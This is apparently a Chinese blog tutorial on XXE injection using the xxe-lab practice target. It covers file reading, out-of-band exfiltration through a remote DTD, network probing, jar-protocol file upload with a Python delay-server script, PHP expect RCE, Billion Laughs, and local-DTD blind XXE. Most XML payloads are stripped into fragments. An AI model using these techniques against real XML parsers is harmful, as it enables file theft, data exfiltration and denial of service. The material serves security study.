XXE漏洞原理及常见利用方式(以xxe-lab为示例)

XML基础知识

基本格式

为了防止把事情搞复杂,先从一个常见的文件读取xxe payload示例开始
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第1张图片

第一行是 XML 声明。它定义 XML 的版本(1.0)
接下来的部分是DTD
!DOCTYPE 用来声明文档类型,!ELEMENT定义一个元素(XML 标签名)这里类型为ANY
!ENTITY声明一个实体(XML 标签中的内容)

  • 内部实体声明:
  • 外部实体声明:

第六行则是xml树结构了 上面的DTD 用来定义一个 XML 文档的合法元素
下图是一个菜鸟教程给出的xml示例 https://www.runoob.com/try/xml/note.xml
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第2张图片

CDATA

CDATA字符数据(character data),是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第3张图片

XML实体类型

这里只介绍XXE中会用到的类型,上面提到了内部和外部实体是从定义的方式区别的,从作用域来分别的话又可分为通用实体和参数实体

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
在这里插入图片描述

参数实体

定义和使用均在 DTD 中,但只有在 DTD 文件中,参数实体的定义才能引用其他实体
在这里插入图片描述

内置实体

有五个常用内置实体,通常应用在嵌套定义的时候,DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 %

•	&符号:&
•	单引号:'
•	大于号:>
•	小于号:<
•	双引号:"

XXE漏洞

XXE(XML External Entity Injection) XML外部实体注入
XML注入是通过闭合标签插入恶意的XML元素进行注册管理员用户等逻辑漏洞攻击
在这里插入图片描述

而XXE是将XML元素注入变成外部实体注入,上面的基础知识部分已经提到了在DTD中声明外部实体,在xml中实体的作用相当于是一个已经定义的变量,可以在标签内使用,通过 & 符号进行引用
这里的效果是在win7虚拟机的ie中打开的,现在的浏览器安全策略已经不允许这种简单粗暴的方式了
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第4张图片

下图是在火狐中打开的情况
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第5张图片

这里通过注入引入外部实体,以类似变量引用方式将本地文件读取

XXE常见利用方式(以xxe-lab演示)

文件读取

PHP

在登陆框提交抓包进行测试
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第6张图片XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第7张图片

这是一个有回显的XXE,这里读的文件是比较理想的,没有会被xml解析的字符,如果像下图中文件的内容一样就会引起xml解析报错(如Linux的/etc/fstab文件其中包含一些看起来像 XML 的字符),XML 解析器会尝试解析这些元素,但其不是一个有效的 XML 文档
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第8张图片

将读取文件内容的实体通过拼接放入标签当中,使得文件内容不会被解析器解析。
XML 规范不允许将外部实体与内部实体结合使用
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第9张图片

需要在DTD中分别使用%start和%end参数实体将文件内容包装在CDATA标记中完成拼接后,存储在另一个名为all的通用实体中,最后再在 xml 中调用。
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第10张图片

evil.dtd

 

Payload

 
   
  
">  
 
%dtd; ]> 

&all;s

在php中也可以使用伪协议编码后读取
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第11张图片

通常web应用并不会开启结果回显,这时就要使用http外带
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第12张图片

Python

在python中能否行得通取决于解析用的python库选择
Minidom、etree默认情况下不易受到 XXE 的攻击。pulldom与sax则较容易被攻击
使用Minidom解析的情况如下图,代码由xxe-lab中提取主要逻辑获得
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第13张图片

换成pulldom解析,可以读取文件(python2.7中可行,但在python3.10中无法成功)
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第14张图片XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第15张图片

在pulldom中使用php那的外带payload,可以收到请求但无法把内容带出来,而且遇到内容复杂点的文件会报错
使用lxml模块、xml.sax模块的问题参考:https://rules.sonarsource.com/python/RSPEC-2755

内网探测

通过加载外部实体的响应时间的长短判断该ip、端口是否存活、开放(响应快的就是开放的),php的话也可以通过伪协议看是否返回内容
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第16张图片

文件上传

下图是各语言平台上所支持的协议列表
XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第17张图片

Java支持jar协议能从远程获取 jar 文件,然后将其中的内容进行解压

jar:{url}!{path}

path是jar包中要解压的文件路径,jar包其实就是个zip压缩包

jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

通过延长服务器传递文件的时间使临时文件能存活到完成利用,也就相当于完成了文件上传
server.py传输最后一个字符时延迟30秒,为了文件完整性,需要在文件后面添加垃圾字符

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

再使用file或者netdoc 协议列目录获得临时文件名,一般就是利用文件包含去触发反序列化

PHP expect RCE

安装expect 扩展可直接利用 XXE 进行 RCE

]>

&cmd;

DOS Billion Laughs 攻击


     
     
     
     
     
     
     
     
     
     ]>
     &lol9;

Blind XXE(无回显)

OOB (Out of Band)

参数实体允许嵌套定义,内层的定义的参数实体% 需要进行HTML转义

'>
]>

无法在内部 DTD 子集中引用参数实体,如:

XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第18张图片

外部 DTD 允许我们将一个实体包含在另一个实体中,但在内部 DTD 语法中是禁止的。这就需要引入外部dtd文件。

也有文章提到三层嵌套后,部分xml解析器无法检查到该语法

https://www.freebuf.com/vuls/207639.html

但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的,比如我本次测试的两种组合php7.2 + libxml2 2.9.4版本和php5.4 + libxml2 2.9.1都是可以有效利用的



    
    ">
        %para2;
    '>
    %para;
]>
10

引入远程DTD文件

上面文件读取那提到的外带方式就是引入服务器DTD文件

Evil.dtd


">

Payload


%remote;%int;%send;
]>

引用本地DTD文件

还有一种情况是防火墙规则严格,无法引用远程dtd。这时就得考虑寻找本地dtd文件:

  • Linux


%local_dtd;
  • Windows

Your DTD code
%local_dtd;

利用方式为重写dtd当中定义的参数实体。


    
    ">
        %eval;
        %send;
    '> 
    %remote;
]>

报错回显

evil.dtd

">
%start;

payload


    
    %remote;
    %send;
]>

通过错误的url使得xml解析报错,从而回显数据

XXE漏洞原理及常见利用方式(以xxe-lab为示例)_第19张图片

参考

https://www.cnblogs.com/backlion/p/9302528.html

https://docs.python.org/zh-cn/3/library/xml.dom.pulldom.html

https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/

https://www.acunetix.com/blog/web-security-zone/how-to-mitigate-xxe-vulnerabilities-in-python/

https://www.runoob.com/dtd/dtd-tutorial.html

https://www.runoob.com/xml/xml-tutorial.html

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

https://www.w3.org/TR/xml/#wfc-PEinInternalSubset

https://security.stackexchange.com/questions/196889/why-do-we-need-external-dtd-in-blind-xxe

你可能感兴趣的:(xml,ctf)